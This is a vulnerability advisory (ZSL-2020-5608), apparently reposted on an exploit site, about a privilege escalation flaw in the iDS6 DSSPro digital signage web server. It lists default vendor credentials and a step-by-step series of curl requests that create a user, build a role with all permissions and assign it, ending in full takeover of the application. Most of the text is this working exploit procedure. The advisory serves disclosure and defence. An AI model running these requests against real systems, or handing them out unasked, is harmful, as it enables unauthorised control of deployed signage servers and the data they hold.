Share
## https://sploitus.com/exploit?id=ZSL-2020-5608
<html><body><p>iDS6 DSSPro Digital Signage System 6.2 Improper Access Control Privilege Escalation


Vendor: Guangzhou Yeroo Tech Co., Ltd.
Product web page: http://www.yerootech.com
Affected version: V6.2 B2014.12.12.1220
                  V5.6 B2017.07.12.1757
                  V4.3

Summary: iDS6 Software's DSSPro network digital signage management system
is a web-based server software solution for Windows.

Desc: The application suffers from a privilege escalation vulnerability.
An authenticated user can elevate his/her privileges by calling JS functions
from the console or by insecure direct object references to hidden functionalities
that can result in creating users, modifying roles and permissions and full
takeover of the application.

Tested on: Microsoft Windows XP
           Microsoft Windows 7
           Microsfot Windows Server 2008
           Microsoft Windows Server 2012
           Microsoft Windows 10
           Apache Tomcat/8.0.44
           Apache Tomcat/6.0.35
           Apache-Coyote/1.1
           Apache Axis/1.4
           MySQL 5.5.25
           Java 1.8.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5608
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5608.php


16.07.2020

--


--------------------
Default credentials:
--------------------

admin:123456 (id: n/k, access: /admin)
boss:boss (id: 100001, access: /)
user:user (id: 100002, access: /)


----------------------------
Once logged-in, create user:
----------------------------

In Console, once navigated to the Accounts-&gt;User page (http://192.168.1.88/Pages/user.action)
Type: add()

or issue a POST request:

$ curl -d "user.userName=testingus&amp;user.password=testingus" http://192.168.1.88/Pages/user\!addUser -H "X-Requested-With: XMLHttpRequest" -H "Cookie: JSESSIONID=9619CDB08E026F6CDC4B7AED60729D3B"


--------------
List user IDs:
--------------

$ curl -d "az=asc" http://192.168.1.88/Pages/user\!list -H "X-Requested-With: XMLHttpRequest" -H "Cookie: JSESSIONID=9619CDB08E026F6CDC4B7AED60729D3B"


------------
Create role:
------------

In Console, once navigated to the Accounts-&gt;Role page (http://192.168.1.88/Pages/role.action):
Type: add()

or issue a POST request:

$ curl -d "role.roleName=ROLENAME&amp;role.description=ROLEDESC" http://192.168.1.88/Pages/role\!add -H "X-Requested-With: XMLHttpRequest" -H "Cookie: JSESSIONID=9619CDB08E026F6CDC4B7AED60729D3B"


--------------
List role IDs:
--------------

$ curl -X POST http://192.168.1.88/Pages/role\!list -H "X-Requested-With: XMLHttpRequest" -H "Cookie: JSESSIONID=9619CDB08E026F6CDC4B7AED60729D3B"


------------------------------------------
Apply all permissions to the created role:
------------------------------------------

$ curl http://192.168.1.88/Pages/role\!updatePermissions -d "role.roleId={ROLE_ID}&amp;privileges=2&amp;privileges=1&amp;privileges=3&amp;privileges=4&amp;privileges=7&amp;privileges=6&amp;privileges=5&amp;privileges=12&amp;privileges=8&amp;privileges=13&amp;privileges=9&amp;privileges=10&amp;privileges=11&amp;privileges=14&amp;privileges=16&amp;privileges=15&amp;privileges=17&amp;privileges=18&amp;privileges=21&amp;privileges=33&amp;privileges=32&amp;privileges=34&amp;privileges=35&amp;privileges=36&amp;privileges=37&amp;privileges=23&amp;privileges=22&amp;privileges=24&amp;privileges=41&amp;privileges=47&amp;privileges=46&amp;privileges=48&amp;privileges=49&amp;privileges=50&amp;privileges=51&amp;privileges=52&amp;privileges=53"


------------------------------------
Assign created role to created user:
------------------------------------

$ curl -d "user.userId={USER_ID}&amp;roles={ROLE_ID}" http://192.168.1.88/Pages/user\!updateRole -H "X-Requested-With: XMLHttpRequest" -H "Cookie: JSESSIONID=9619CDB08E026F6CDC4B7AED60729D3B"


------------
Delete user:
------------

In Console, once navigated to the Accounts-&gt;User page (http://192.168.1.88/Pages/user.action), select desired username:
Type: del()

or issue a POST request:

$ curl -d "userid={USER_ID}" http://192.168.1.88/Pages/user\!del -H "X-Requested-With: XMLHttpRequest" -H "Cookie: JSESSIONID=9619CDB08E026F6CDC4B7AED60729D3B"
</p></body></html>